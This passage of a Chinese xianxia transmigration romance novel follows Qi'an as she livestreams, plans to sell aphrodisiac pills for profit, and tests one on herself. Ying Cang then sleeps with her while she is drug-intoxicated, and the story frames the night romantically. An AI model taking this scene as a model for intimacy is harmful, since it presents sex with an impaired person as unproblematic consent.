他赶忙往前迈了一步,按下了宁撼城抬起的手:“师兄不好意思,我是刚来的师弟,以为你们是外人,刚刚多有得罪,还望见谅。”
“师弟?”
“刚来的?”
“老头儿又开始捡小孩儿了?”
就连易为春也少见的脸上有了诧异的神色:“当真?”
嗯嗯嗯。
宿清风头疯狂地点着。
师兄弟四人站在宗门口面面相觑,这么多年没有进新人的落霞宫,短短一个多月,竟然来了三个人。
宁撼城粗声粗气地说着:“难不成宗门要开始发展壮大了?”
“大师兄!你回来啦!”
几个人抬头,只见一个青绿色的团子由远及近地跑来。易为春知道,是祈安来了。
快到落霞宫的时候就给她发了讯息。
祈安一路跑来,到宫门口的时候来了个紧急制动,她没想到,外面站着这么多人。
尴尬一笑:“啊哈哈哈,大家都、都在呢。”
“安安。”
易为春一时激动,竟把自己平日里提及祈安时的称呼脱口而出,还好对方没什么反应,正拘谨地、拧着手站在原地。
“你还没见过大家吧,我给你介绍一下。这是你三师兄,陈飞韩。”
祈安往易为春指的人瞧去,陈飞韩身形瘦高,如同竹竿一般,一阵狂风怕是就可以卷走。脸上没什么表情,应当是个严肃之人。她老实地喊着:“三师兄。”
陈飞韩果然没有任何回应。
“这是老五,吴无。”
?
叫吴无的五师兄,怕是这修真界估计也只有这独一份了。祈安多看了吴无两眼,寻常长相,没有什么特质,额头上的那道月牙的疤应当是他最突出的特点了,朝他点头致意:“师兄好。”
吴无倒是回了声“师妹”。
“宁撼城,六师兄。”
祈安其实一过来就被宁撼城吸引了视线,明明是穷凶极恶的面容,她却瞧出了滑稽感。易为春刚一介绍,祈安就朝他伸出手来:“六师兄好,请多多指教。”
宁撼城看着祈安那双伸过来白嫩的手,低头一看自己指间的脏污,一股羞涩涌了上来。他拿出自己的玄光鉴,碰了碰祈安,就当是打过招呼了。
祈安一看这阵势,更加觉得他有趣,偷偷抿嘴笑了。
她把自己身后的宿清风一把拽到了前面:“这是新来的小师弟,叫宿清风。”
易为春小声询问:“什么时候的事?”
祈安凑到他耳边:“昨天。”
.. ....
一行人风风火火地进了落霞宫,每个人身上,都还背着一大筐灵植。
以前外出游历时,由于落霞宫的弟子没有擅长炼丹的,基本上会选择除灵植外的其他酬劳。
祈安来了之后听说她在炼丹方面小有天赋,几个师兄就合计这次给她换了批灵植回来。宁撼城二话不说,把所有的灵植都铺了满地。
看着堆叠如山的灵植,祈安嘴就没合拢过。这么多灵植,就算是炼丹,要炼到何年何月。
“老三,哪个是你背回来的?”
陈飞韩指指最左边的那一垛。
易为春将那陈飞韩的灵植又重新装了起来:“这些你用不上。”
“为什么啊?”
祈安不懂就问。
几个师兄都面面相觑,只有宁撼城粗着嗓子答道:“这是炼合欢丸的。”
易为春:“...”
陈飞韩:“...”
吴无:“...”
合欢丸?祈安眼放金光,合欢丸好啊!她早有了炼合欢丸的打算,这种私密的药品,相信不管在哪里都有销量的。炼出来后挂在小黄车上,没准还可以小赚一笔。本来还苦于没有原材料,这下也不用担心了!
祈安赶忙跑到那垛灵植旁边,拦住了易为春:“师兄,这个也留给我吧。”
“你用来做什么?”
“赚钱!”
祈安想炼合欢丸赚钱的消息立马传遍了整个宗门,顺便她也把自己在直播的事情告诉了大家。
本以为师父和师兄们会不赞成,没成想大家接受度都还挺高,竟然没一个人提出异议,只是都在叮嘱她要保护好自己。
于是祈安又水灵灵的收获了包括清虚在内的七个粉丝。
穿书两个多月了,祈安基本适应了这里的生活,没有像之前那时时都想着回去把全部的心思都放在了直播上。
她开始琢磨着要提高自己的修为,想要让落霞宫变得更好,不过她没有把自己的想法告诉易为春他们。
毕竟如果提前夸下海口,要是实现不了,也是蛮尴尬的。
祈安是个心里藏不住事的人,想找个商量的对象,她瞄准了应苍,他似乎是个最合适的人选。
祈安坐在成堆的灵植旁,随手抓起一把叶子,出神地想着:人家之前送了药茶和龙鳞给我,是不是应该回一下礼?那送什么呢?没钱买礼物就只能
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动手做。这样的话感觉还是炼丹靠谱。找师父问问什么丹药适合应苍,再给他炼一些。
祈安说干就干,直接跑到了清虚那里:“师父,您在忙吗?”
清虚:“无事,你进来吧。”
她刚踏入殿门,清虚就感受到了一阵特殊的气息。他眸光微动,将视线停留在了祈安的身上。
这丫头身上,怎么也有书儿的气味?
清虚坐在桌前没有动,等祈安走近的时候,那道属于应书的味道更加明显。
“师父,”祈安说,“我想问问您应苍身上的伤是怎么一回事。”
听她提到应苍,清虚心里疑窦丛生,他并未抬头,依旧擦拭着桌上的那套茶具:“我只知道那是道陈年旧伤,具体怎么伤的,那是应苍的事情,为师对这些一向不感兴趣。”
“那他的伤现在恢复得怎么样了?”
刚说完这话,清虚一脸狐疑地望着她。祈安怕他误会,连忙解释:“应苍之前送了些东西给我,我想给他回个礼,就想炼制一些适合他疗伤的丹药。”
清虚不知这话是真是假,并没有把应苍伤的真实情况告诉祈安,他将手里的帕子叠好,放在桌角处。思忖片刻,缓缓说道:“他的伤丹药无用,最好的药就是日月精华。多晒太阳,吃点山野间的果子,喝清泉,将他体内的阴气排出去,就痊愈了。”
祈安把清虚的话记在了心上,在下午找了个日头不太烈的时候,去敲应苍的门,打算带他出去一起晒太阳。
结果久久无人回应。
祈安在宫门口绕了一圈,也没看到应苍的踪迹:“奇怪,能去哪呢?”
“算了,不找他了,我先去摘果子。”
清虚说应苍要吃山野间的果子,她刚好知道哪里有棵果树,上面已经结了密密麻麻的果子了。那次她费了好大劲才摘下一颗来,味道极佳,就是长得太高了。
这次她拿了根竹棍和三尺宽的布,决定去敲点果子下来。竹棍够长,果子轻松落下。一连敲了七八个,祈安准备停下来歇歇。结果低头仔细一瞧,那些果子上但凡被竹棍触碰到的地方,全都是出现了一个坑,就像苹果放坏了一般。
“这么娇弱啊!”
祈安难以置信,捏着果子的力道大了一些,那青绿的果子上又出现了她的指印。
她知道了,这果子只能轻拿轻放。
没办法,祈安只能自己再爬一次树。这些烂掉的果子自己吃还没什么问题,要是送人的话她可不能接受。
果树大概有四个祈安那么高,她还不会腾空,所以只能一点点地抱着树干往树上挪。身上全是树干留下的痕迹,为了躲开迎面扎来的树杈,祈安的头发没少被树枝攻击。
好不容易爬到树顶,她立马开动。眼前的这根树枝上结了十个果子,她一个不落地摘了下来,其他的地方一时也够不到,决定今天先到这里。
从树上缓慢爬下来后,祈安兜着那些果子,步履不停地往回赶。
应苍刚好从云水间回来,一眼就看到蓬头垢面、身前鼓鼓囊囊的祈安朝他这里冲来。
到近处才发现,祈安满脸都是土,身上也脏兮兮的。她把怀里那些带着泥渍的果子像宝贝一般举了起来:
“送你的。”
22.来一粒
果香席卷着泥土的气息朝应苍袭来。
他不喜欢带有脏污的东西。
从前哪怕是外衣上沾了一点污渍,应苍都要把全身内外的衣服换掉。
从小到大没有人敢让他黏上一点灰尘,但此刻的祈安用脏兮兮的手举着泥迹斑斑的果子,直直地朝他面门伸来。
应苍眉头微皱,嘴上虽没说什么,但还是偏过头往后撤了一步。
祈安心思玲珑,一眼就看到了应苍退避的动作,原本高举的手撒了力:“你不喜欢?”
“不过我问了师父,他说你就是要吃山野间的果子,多晒太阳才能好得快。这些都是我刚摘的,你瞧。”
她把自己兜着的一大堆果子给应苍看:“你别看它们丑丑的,我尝过,可好吃了。甜丝丝的,还很脆!”
应苍垂眼,看到祈安用将布围在腰上,上面扑腾着大大小小的野果。青绿色的裙摆上还挂着些许的树皮,衣袖处也被划开了几个口子。
确实是刚摘的。
应苍内心一动,准备忍着不适把祈安手里的东西接过来,可刚伸出几寸,就又止住了。
还是迈不出这一步。
祈安将应苍的小动作尽收眼底,她想到上次看星星应苍好像也是类似的表情,是自己给他拿了块可以垫着的布他才勉强在台阶上坐下。
“我知道了!”祈安双眼一亮,“你有洁癖!”
“洁癖?”应苍不解。
“总之就是一种病,一种极爱干净的病。你见不得灰尘,也不容许自己房间不整洁。放心好了,这些我都洗干净了再给你。估计你现在看我应该像看瘟疫一样,我先走了,等下再去找你。”
祈安说走就走,跑了几步后又一个急刹,对应苍喊到:“我一会就去找你,你不要乱走动喔。”
应苍嘴巴微张,刚想说点什么,祈安就已经跑得没踪影了。
祈安到了房间里鼓捣了好一阵子。
先是将所有的果子清洗一遍,又接了满满一盆水,将果子全放进去泡着,而后就开始收拾自己。
等她沐浴完换了身干净的衣服后,已经到了日落时分。
头发还没干,祈安只能把湿漉的头发披着,把果子一一捞起,装好给应苍带了过去。
应苍的房门虚掩着,祈安刚敲了两下,门就从里面拉开了。
“这么巧,”祈安看着面前的应苍,“你要出去啊?”
“没有,”应苍侧身让祈安进来,“我在等你。”
第二次进到应苍房间,祈安还是忍不住惊叹他房内的整洁。她端着盆子站在屋子中央不敢轻举妄动:“我这盆干净的,能放这吧。”
应苍觉得有些好笑,他把祈安手里的东西接了过来,随手放在桌上:“这些地方我还好。”
“哦……”祈安咬咬嘴唇,又指着凳子问,“那这个我能坐吗?”
应苍哭笑不得,他绕到祈安身后,一只手搭在她的肩膀处,微微使力:“我没到这个地步。”
祈安毫无防备,应苍就这样突然出现在了自己身后。她只感觉一股热气在自己和应苍身体间涌动,分不清楚是谁的体温。濡湿的头发窝在颈边,湿腻的触感让她不自觉地绷紧身体,面色潮红,口干舌燥。
应苍也发觉有些不对劲,拉开两人之间的距离,坐到了祈安对面,食指轻叩桌面缓解自己身体的不适,随意扯了个话题:“你没带龙鳞吊坠?”
“你怎么知道?”
方才祈安洗澡的时候摘下来放在了床上,此时确实没带。
应苍一时语塞,他也不能直接告诉祈安自己能够感知到龙鳞所处的环境。正想着想个什么慌圆过去时,看到了祈安因为热扯开的衣襟,白嫩的脖子上空无一物。
“呐。”
应苍下巴一扬,祈安低头立刻就明白了缘由。她笑笑:“洗澡摘下来忘带了。”
应苍点头,没再说话。
祈安:“这些果子我都洗干净了,你要是不放心可以再洗一遍。师傅说你体内有浊气,需要吸收日月精华。你也知道我需要直播,要是你没什么事,可以和我一起出去晒晒太阳,这样子你的伤会好的更快一些。”
“怎么突然向道长问起我的伤势来了?”
祈安信誓旦旦地说道:“这不因为我们是朋友嘛!”
但对面的人好像对这个回答并不买账,眼里的探寻分毫未少。
“好吧,”祈安又补了一句,“我也有点事想请你帮忙啦。”
应苍挺直的脊背放松了些:“何事?”
“就我的那个直播间啦,我和你说.....”祈安随手抓起一个果子啃了口,“我直播间现在可以卖些东西,赚一点小钱。师父和师兄们平时都对我很好,我想把以后直播间赚来的灵石给宗门改善一下生活环境,比如说盖几间房子,或者多买些炼器的设备。
一讲到未来的畅想,祈安就像打开了话匣子一般,怎么都收不住。滔滔不觉得讲了好久,应苍始终认真听着。
“总之就是我想通过自己的努力,让落霞宫过上更好的生活!你觉得呢?”
应苍的脸上透着淡淡的笑意:“那我呢?需要我做什么?”
祈安脸一热,她还没想好自己到底要怎么做,更不要提应苍了。手指把玩着自己的发尾,把最后一口果肉吞下:
“我走一步看一步吧,”她叹口气,“我也只是想要一个能够商量说话的人,不然一个人干这事太孤单了。”
应苍心弦一动,沉声应道:“好。”
*
祈安后面一段时间,只要是去外面直播,都会叫上应苍,应苍基本不会拒绝。
祈安最喜欢去九寿溪溪口,那里既可以晒到足量的阳光,又有清列的山间泉水,是应苍疗伤的好地方。
而且一般这种地方灵气也相对充裕。
由于祈安天灵根的特质,基本上她到任何一个地方都等同于开启了“吸星大法”。周遭的灵气会源源不断地往她体内聚集,没过多少时日就已经到了练气期七层。
许是这段时间的坚持直播有了效果,祈安的粉丝数又涨了不少。
整个修真界也渐渐开始传开:在一个偏远不知名的地方,有一个可以直播的女修士。
眼看着自己越来越火,祈安觉得时机到了
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,她准备开启赚钱计划。
她从清虚那里讨来了一本炼药指南,躺在草地上,将书盖在脸上,问坐在旁边的应苍:“你以前炼过合欢丸吗?”
应苍以为自己听错了,再三确认下才知道祈安说的确实是合欢丸。刚过发情期的应苍,同尚处在青春期十六七岁的男孩没什么区别,一听到这三个字,脸肉眼可见的红了起来。他用咳嗽掩饰自己心里的慌乱,掩着唇小声又快速地说了句:“没有。”
啪的一声,祈安合上了书,从草地上坐起来:“我也没炼过,看来只能自己试一下了。”
“你要做什么?”
“炼丹药卖钱啊,我和你说,这不是没有先例的。以前我们老家有个小蓝片,和这合欢丸的功效差不多,卖得可好了,又是灰色产业,买的人特别多,暴利!”
祈安拍拍屁股站起来:“走,回去炼药。”
应苍虽然对于祈安炼制合欢丸的举动不理解,但还是乖乖地跟着她回了落霞宫。
为了不让旁人知道,她选在了晚上炼制。
丹炉依旧摆在院子里,祈安把所需的灵植全都摆了出来。在准备生火的时候,突然停住:“坏了。”
“怎么了?”
“这是我们唯一的丹炉,要是这丹炉被我不小心炸了,那那那、”祈安急得说不出话。
“用我的吧,我的不会炸。”应苍冷不丁提议到。
“你有丹炉?”
“嗯,在我储物袋里。”
祈安:“...”
谁家好人家随身带着丹炉啊。
她跟着应苍去了落霞宫外,真的看他从储物袋里掏出了一个丹炉。
模样不大,只有落霞宫里那个的五分之一。但做工精致,一看就是个品级比较高的丹炉。
祈安围着丹炉转了半天,又和应苍确定了一番:“这真的不会炸炉吧。”
“不会。”
应苍负手而立,脸上全是对丹炉的自信。
祈安见他这般模样,也不再磨蹭,按照丹药方的比例将灵植配好,准备先试一试。
夜色下,祈安全神贯注地盯着炉内的情况,应苍则蹲在一旁,拔草玩。
炼制的速度比祈安想象中要快,不到一个时辰,第一锅合欢丸就出炉了。
五个紫莹莹的药丸躺在祈安手里。
“也不知道这个药效怎么样。”
祈安抬头看到应苍正巧也过来了,塞了一粒到他手里:“尝尝。”
话刚说完,自己也尝了一粒。
应苍来不及阻止,就看到祈安吞了下来。
“你吃了?”
“对呀。”祈安满不在乎,“你怎么不吃?”
应苍无奈道:“这是合欢丸。”
“我知道是合欢丸,不尝尝怎么知道效果怎么样。合欢丸又不是...”
话说了一半,祈安突然想到了什么。
合欢丸,合欢丸!她吃了合欢丸?!
几乎是同一时间,她忽然觉得身上开始燥热起来,脑袋昏昏沉沉,眼神迷离,她盯着应苍,柔声说道:“好像...开始起药效了。”
23.会负责
祈安和应苍一人蹲一人站,两人身上裹着银辉,一旁的丹炉下火苗跳动,木柴噼啪作响。
应苍低头看向祈安,她双臂环在膝盖下方,身子缩成一团,正抬头朝他傻笑:
“嘿嘿、感觉药效还不错呢。”
“祈安。”应苍看出她的异常,将丹炉收好,伸手去把她拉起,“先回去。”
祈安身上发热,骨头就像在烧一般,应苍的手宛如夏日冰块。她一把抓住,把脸贴去,怎么也不舍得放开。像个贪婪的小孩儿,一旦寻得自己喜欢的东西,非要一口气吃到厌倦为止。
应苍被祈安的脸颊的温度烫得一抖,体内那点残留的寒意更是四处逃窜。他费力抽出手来,让祈安的身子靠在自己的肩头处,打算把她扶回房。
可祈安直接环抱住他的腰,一条腿也横在他小腹前:
“此树是我栽,此路是我开。要想过此路,留下买路钱。”
此刻月明星稀,落霞宫门前空荡荡的,祈安的声音在静谧的夜里格外明显,应苍心脏紧缩,注意力全都放在了周围的环境上,警惕地看着四周是否有第三人存在。
可祈安偏偏不如他的意,见应苍一直没有反应,手指直戳他的胸膛:“买!路!钱!”
“给。”
应苍从腰间解下钱袋,将身上所有的灵石都给了祈安。
祈安迷迷糊糊地拿过来,掂了掂重量,啪嗒一声,扔在了地上:“太少了,不行!”
“祈安,”应苍有些无奈,“先回去,好吗?”
“不!好!”祈安摇头,直接换了个姿势,一个弹跳,两条腿夹住了应苍的腰,双手勾着他的脖子,“我好热呀。”
两个人的身体紧密地贴在一起,体温透过衣服相互传递着。应苍知道再拖下去药效会越来越重,要是被人撞见,可能会给祈安招致议论。
他一手扶着祈安的腰,确保她不会从自己身上滑落。蹲下身子将地上的钱袋捡起后,迈开大步往落霞宫走去。一个闪身,两人一同回了应苍房内。
不知是祈安体温的原因,还是抱着人走路的原因,应苍的额头上沁了一层薄薄的汗珠。
他将祈安放在床上,想给她倒杯水缓解一下。可祈安勾着脖子的手一直不肯松开,应苍只能双手撑在祈安身侧才能保持身体的稳定。
两个人僵持许久,无人退让。
应苍尝试着松开一只手,想把祈安的手指一根根掰开。他刚摸到颈后,身下人紧闭的眼睛突然掀开,一双乌黑圆溜的眼睛盯着他一眨不眨。
祈安坐起上身,荔枝香扑面而来。
应苍来不及闪躲,唇上就贴上了一层柔软。
嘴唇相接触的瞬间,应苍清晰地听到了自己脑海里弓弦断裂的声音。他几乎没有任何犹豫,一把捞住了身子往下坠的祈安,对准那抹嫣红,覆了上去。
以前从没有过的体验出现了。
热流直接从应苍的口内灌入,顺着他的食管流入体内,在丹田处堆积后,自动地运送至体内各处。体内不多的寒意,正在一点点的瓦解。
可应苍此刻根本没有多余的精力去留意自己体内寒疾的变化,他一门心思扑在了两唇交织的感觉上,
这是他第一次有这般奇妙的体验。
一种无法言说的快乐。
他追,她躲。
可他若是停歇,她又会加快步伐跟过来。
狭小的两个空间里,全都被津液充满。就像是浸在了蜜中一般,香甜,柔软。
又像是在经历一场争夺战,双方的将军各不相让,总要分个胜负。
应苍的觉得自己的身子,除了口里的是柔软的,其他的部位都渐渐变得僵硬。
一直挺着的脖子,弯着的腰部,全都体会到了些许的不适。
但是两人都不舍得松开对方,直到祈安喘不过气来。
她从应苍的唇边挪开,刚睁眼就看到他嘴角挂着晶莹的银丝,也不知是自己的杰作,还是应苍流下来的。伸出拇指,替他轻轻擦去。
她躺在床上,身体难耐地扭动着,应苍的心连同着身下的被褥都起了皱。
祈安觉得自己就像飘在云端一般,可应苍始终面色不改,连红潮都看不到,她声音带着哑意,问道:“合欢丸怎么对你没效果?是我的丹药不行,还是你不行啊?”
说完后,她为了探究清楚,伸手直直地向应苍下-身探去。
应苍根本没有防备,脆弱的地方被祈安一把抓住。
闷哼声响起,还伴随着祈安黏黏糊糊的惊叹声:
“这么大。”
应苍不多的理智也被剥夺走,在他确定要更近一步之后,动作就没再停过。
将碍事的衣服去除掉,露出了精壮的胸膛。
屋内没有点灯,丝丝月光从屋顶漏下来,祈安完全可以将应苍看得清楚。
她只记得应苍的全身没有一丝赘肉,肌肉清晰可见,块块分明。手臂凹凸有致的线条就像起伏的山脉,小臂上盘着青筋,一双大手可以轻松地掐住她的脖子。
除去这些,祈安就都是些朦胧的记忆了。
月光好像在抖动,树叶也簌簌地摇着。
自己耳边总有热气喷薄,喘息声从未停过。体内的燥热一波起,一波平。起起伏伏,每次在难熬的时候,身体总会被耐心地呵护着。
是一个很美好的夜晚,唯一美中不足的就是,持续的时间太久了。
久到她累得睁不开眼睛,久到她随时可以睡过去。
可应苍依旧不知疲倦,倔强地用他独有的方式将她唤醒。在走神的时候,还会被咬上一口。
祈安只能依靠着自己身体的本能,及时回应着应苍,才能避免更多的索取。
在意识失去前的最后一秒,祈安听到了应苍伏在她耳边的一声呢喃。是在叫她的名字:阿祈。
后面的事情,她就再也不记得了。
应苍看着昏睡过去的祈安,小心起身,坐在床边平息着体内的冲动。
刚才差一点,他就化龙了。
在祈安半梦半醒间化龙,是一件危险的事情。
若是被她看到了真身,那自己的身份也许会暴露。好在关键时刻,他忍住了。只是身体龙鳞空缺处,此刻正一跳一跳的。
那片龙鳞现在挂在祈安的脖子上,由于睡姿的问题
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,正好压在了她的心口处。哪怕两个人离得这么远,应苍也能够感受到祈安的心跳。
他突然浮起了一个念头:要是可以一直这样,似乎也是一件很不错的事。
但很快他就明白,怎么会一直这样呢?以后的自己,是要走刀尖的人。
以后的祈安,也许也会是自己的敌人。
他苦笑一下,起身打了盆热水来。
仔仔细细地将祈安身上清洗了一遍。
原本白皙的皮肤上,布满了大大小小的青紫,尤其是胸前和腿间,像是墨水滴落在池塘里晕染开来一般。
应苍一点点地擦着,一旦看到祈安轻皱眉头,就立马停下自己的动作,直到她眉头的结舒展开来后,才继续着。
一直忙到后半夜,才有时间打理自己。
所有都收拾妥当后,应苍终于躺在床上,沉沉睡去了。
*
祈安做了一个悠长的梦。
梦里她要去渡过一道湍急的河流,河面没有桥,她为了过桥,砍了棵粗壮的树。刚劈了一斧子,树就像长了眼睛一般朝她倒来,全部都压到了她的身上。
祈安只觉得自己胸前仿佛有千斤重,一直喘不过气来,慌乱之中从梦中醒来,睁眼看到熟悉的房顶后,才松了口气。
可很快,她就发现了问题。
自己胸口处真的压了东西,不是树干,而是一只胳膊。
看样子,还是男人的胳膊。
祈安沿着胳膊看过去,就瞧见了应苍的睡颜。
她立马闭上眼睛,深呼吸几口后,再次睁眼。
应苍还在,还裸着上身。
至于下-身,她还没有勇气去探寻。
祈安自己先检查了一番,身上的衣服倒是完好的。
可是身体的感觉,让她知道这事情没有那么简单。
先是嘴巴,就算不照镜子,也能感受到红肿。嘴角处甚至还有一些小的伤口,此刻在隐隐作痛。
腰就像被打了一般,酸、胀、痛,通通存在。
而自己两腿之间......
她虽然没有这方面的经验,可此刻这种情况,只要是个成年人,就知道发生了什么。
她这是,在修真界和别人419了!还是个刚刚熟悉起来的朋友。
。。。。。。
祈安让自己努力冷静下来,开始回忆究竟发生了什么。
昨天先是要准备做合欢丸,然后就借了应苍的丹炉。
再然后合欢丸就炼出来了,最后...
要不是祈安怕把应苍吵醒,她此刻一定就放声尖叫了。
那合欢丸不是给男人用来重振雄风的吗?怎么对女生也有用啊!这应苍好像还没吃,对男人的药效也没试出来!
真是赔了夫人又折兵。
祈安眼里已经没有一夜情后的慌乱,有的只有对合欢丸第一次试药失败的惋惜与不甘。她忿忿转头,就这样,对上了应苍那双深不见底的眼神。
这——
昨晚把别人睡了,醒来第一句要说什么?祈安思索半天,终于蹦出了一句:
“你要多少钱?”
24.绿豆糕
祈安偷偷观察着应苍的反应,对方除了睁开眼睛外,面上没什么表情,和刚刚睡着时没有任何的区别。
这是...什么情况?怎么和想象中的不一样。
祈安一点点地往里面挪,试图从应苍的胳膊下逃脱出来。
门口突然传来了敲门声。
“应...那个,苍哥。”
是宿清风的声音。
祈安一听有人过来,连忙拉起被子盖在自己身上,大气不敢出一声。
屋外的声音一直不停:“有人吗?苍哥你在吗?”
祈安躲在被子里,胳膊肘用力推着应苍,压低声音催促道:“快去看看他有什么事。”
只听得头顶一阵轻笑,应苍掀开被子从床上起来,随手披了件衣服打开房门,
宿清风只看到他光着胸膛站在门口,一副刚睡醒的样子。
“难怪这么久才来开门。”他小声嘀咕。
应苍:“何事?”
宿清风:“师父要我们都去练功殿。”
应苍:“知道了。”
宿清风把话带到就走了,临走时还往祈安房间看:“奇怪,祈安姐姐去哪了?”
应苍见他走远后,才合上门。回头看着自己床上那一坨鼓鼓囊囊的被子,嘴角扬了起来,走到祈安身边,起了逗弄的心思,一直没说话,看她究竟何时可以发现自己。
祈安在被子里闷得喘不过气来,刚探出头,就对上了应苍那双略带揶揄的眸子。
“啊——”
她被吓得不轻,放声尖叫。应苍连忙冲上前去,捂住了她的嘴巴。
祈安只觉得眼前一黑,一团黑影向他压来。
应苍在她耳边轻声提醒:“嘘!宿清风还没走远,想被他发现?”
唔唔唔。
祈安眨巴着眼睛,嘴里支吾出声。由于精神高度紧张,祈安感官格外敏感。她的注意力全都放在了应苍的手上,虎口恰好抵在她右侧脸颊处,虎口处的硬茧,磨得右侧脸痒痒的。她视线下移,刚好可以看到应苍左手腕骨处,有一道浅浅月牙型的疤。
祈安被这疤痕吸引住了,总觉得格外熟悉,像是在哪里见过一样。
她一直在脑海里搜寻着,念头总是一闪而过,怎么也抓不住。
“好了。”应苍松手,“起来吧。”
祈安恢复自由身,连忙从床上爬起,那道疤被她抛在了脑后。她探身看向外面,确定没什么人后,才敢出声:
“他刚刚来找你干什么?”
“道长说要我们一起去练功殿。”
“哦。”
祈安点点头,毕竟最近易为春他们都回来了,好不容易凑齐这么多人,怎么也得开个宗门大会。
不速之客离开后,房里又恢复了尴尬。
祈安还霸占着应苍的床,床的主人被她挤得只能坐在一旁。
“那个,”祈安小心翼翼地问道,“你还好吗?我应该没把你弄伤吧。”
见应苍不答话,祈安心里一慌:不会人家还是第一次吧...要是这修真界的人都比较传统,把第一次看得比命都重要可怎么办啊。
她又把声音放软了一些:“难道说...我真弄伤了?你如果有什么不舒服的,可以和我说的。”
她赤脚下床,像只猫一般轻盈地溜到应苍旁边:“昨天我也没想到药效这么厉害,以后不会这样了。要不,我给你点钱?不过可能要先欠着,我还没赚到钱。”
不管祈安说什么,开出怎样诱人的条件,应苍始终脸上情绪淡淡的,没有表情,低着头默不作声。
祈安把这一表现理解为:纯情处-男被睡后的羞耻愤恨表现。
这下,她内心的懊悔之意更加:自己到底做了什么啊!!!
人在愧疚的时候,最容易脑袋一热,胡乱答应别人一些事情,比如说此时的祈安。
她脸上带着讨好的笑容:“你看这样如何,你也算是为我这合欢丸的事业贡献了自己的身体,以后这合欢丸赚的灵石,我都分你一成,你看怎么样?”
“好。”
祈安:?
答应得这么快,难道有诈?可话既然说了出去,也没回转的余地了。祈安只能再为自己争取点利益回来:
“既然这样,咱两也算是一根绳上的蚂蚱。只有合欢丸卖得好,你才有的赚。为了未来的事业,所以你以后做我的助手怎么样?在炼丹的时候打打下手。”
应苍想也没想:“嗯。”
又答应了?祈安得寸进尺:“除了做助手,还得帮我试药。”
应苍眸色一暗,刻意拉近了两人之间的距离,慢条斯理地询问着:“怎么试?还和昨天一样?”
“当然不是。”祈安害怕把人吓走,连忙解释,“下次我会一并把解药也做出来,你先吃一下合欢丸试试效果怎么样,然后再把解药吃了就可以了。”
不知是不是自己看错了,祈安总觉得应苍眼里闪过了失落。她没有多想,匆匆起身:
“我先回去了,等下直接去练功殿。”
祈安偷偷摸摸地跑回了房间,应苍一直关注着她的动静。
回房间后的祈安瘫倒在了床上,她刚才当着应苍的面,想着自己好像是过错方,所以尽可能地装得从容一些。
可一回到自己的天地,心里各种莫名的情绪全都咕嘟咕嘟冒出来了。
思想再怎么现代,那也是她的第一次,就这样在修真界不明不白地没了。关键是过程也没有好好体验,只留下了满身的酸痛。
她将衣服解开,仔细地看着自己身上,胸前和腿上满是深深浅浅的印记,肩膀处还有一圈完整的牙印:“属狗的吧他!”
祈安忿忿地念着,换了身衣服后,一瘸一拐地去了练功殿。
*
等祈安到的时候,整个殿内已经坐满了人,她是最后一个。
应苍也坐在了最角落里。
也许是二人有了肌肤之亲,祈安不自觉地多看了他一眼。身上穿着一件纯黑色的袍子,是之前没见过的款式。头发高束,细长的抹额上坠着一颗珍珠,在暗处和他的眼睛一样,闪着光芒。
祈安愣神了片刻,这会儿的应苍还...怪好看的。
“师妹。”
“祈安姐姐!”
易为春和宿清风看到祈安进来后,都叫住了她:“这里。
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”
两人中间隔着一个位置,不用想,一看就是为自己留的。
不知为何,祈安有些心虚地瞄了一眼应苍,见他没看自己后,猫着腰溜到了座位上。
“祈安姐姐。”宿清风一见到她就开始喋喋不休,“你怎么才来啊,我今天找你半天了,你去干什么了。”
祈安此时做贼心虚,生怕被别人发现自己昨天和应苍睡了,连忙转移话题,掏出随身带着的扇子,对着宿清风的头狠狠地敲了下:“和你说了多少次了,叫师姐叫师姐,什么祈安姐姐。”
宿清风原本满怀期待的脸立马垮了下去,自从几个师兄从外面回来之后,他就整天被拉着去练功,本来见祈安的次数就少,这会儿好不容易见到了又被她凶,委屈巴巴地说道:“知道了。”
易为春在一旁打起圆场:“师弟也是关心你。清风,你不是带了礼物吗?怎么不给师姐?”
宿清风嘟着嘴,把头扭到了一旁:“我没带。”
声音潮湿,还带了些颤音。
...完了。
祈安很想翻翻黄历,今天是不是诸事不宜。刚哄好一个被自己睡了的纯情男人,结果一句话又骂哭了一个傲娇弟弟。
她叹口气,戳戳一旁的人:“是什么东西?”
宿清风依旧背对着祈安,拳头紧紧攥着,一声不吭。
祈安继续戳他:“是在手里吗?要不你悄悄张开手,我自己拿走。”
宿清风听了祈安的话,虽然身子依旧没动,可还是松开了手。
掌心里躺着块方方正正、用油纸包裹着的绿豆糕。
浅棕色的外衣,边角起了点皱褶。
易为春说道:“小师弟昨晚跑了好远,才给你换回来的,快拿着吧。”
宿清风立马反驳:“才没有跑好远,是别人不要了给我的。你不要我就扔了...”
“我要。”祈安抓住了宿清风缩回去的手,轻轻捏起了绿豆糕,“谢谢师弟。”
原本还像生病小狗的宿清风立马挺直了背,眼尾处仍挂着没收回的泪珠,嘴角却早已扯出了笑容:“师姐不用客气!”
少年眉眼弯弯,笑意直达眼底。
祈安一怔,惊讶于年轻人情绪转变的迅速。不管怎么说,算是哄好了,她伸出手,摸摸宿清风的头,摆出师姐的架势:
“以后好好练功,别总在这些事情上花费功夫。”
坐在远处的应苍没有听到两人之间的对话。
他只看得到祈安先是戳了宿清风的腰,又从他手上拿了东西,甚至还伸手摸了他的头。
两人,笑得很开心的样子。
应苍收回自己的视线,若有所思地看着桌角。
等清虚把近日宗门事宜全都安排好后,大家三三两两的出了练功殿,祈安、易为春和宿清风三人走在最后面。
一出门,就在转角处遇到了等在那里的应苍。
宿清风和易为春全都提高了警惕,男人独有的雷达在疯狂告警。
祈安本想避开应苍,当做没看到他一般,对方却偏偏不如愿:
“祈安。”
冷冽的声线响起:“我有事找你。”
25.新配方
祈安担心被别人看出什么来,打算趁没人的时候再去找应苍:“我现在有点事,要不等会再说?”
边说还边眨眼睛。
应苍就像没看见似的,依旧坚持:“我有事找你。”
祈安无奈,只能对身后的易为春说:
“师兄,我还有点事,你先和师弟走吧。”
易为春若有所思地看了一眼应苍,什么话也没说,带着宿清风先走了。
祈安踮着脚尖,确定人都走远后:“怎么了?”
“那是什么?”
应苍指着的,是祈安手里攥着的东西。
“你说这个吗?”祈安举起了那块绿豆糕,“清风给我的,一个小糕点。”
应苍伸出手:“我饿了。”
祈安不解:“什么意思?”
“就这个。”应苍指着绿豆糕,“给我吃吧。”
嗷。
祈安大方地把绿豆糕递出去,眼看就要放到应苍手上时,猛然想起师兄说这是宿清风花了好大的功夫才找来的,伸出的手又收回了。
“我再给你找点别的吃的。”
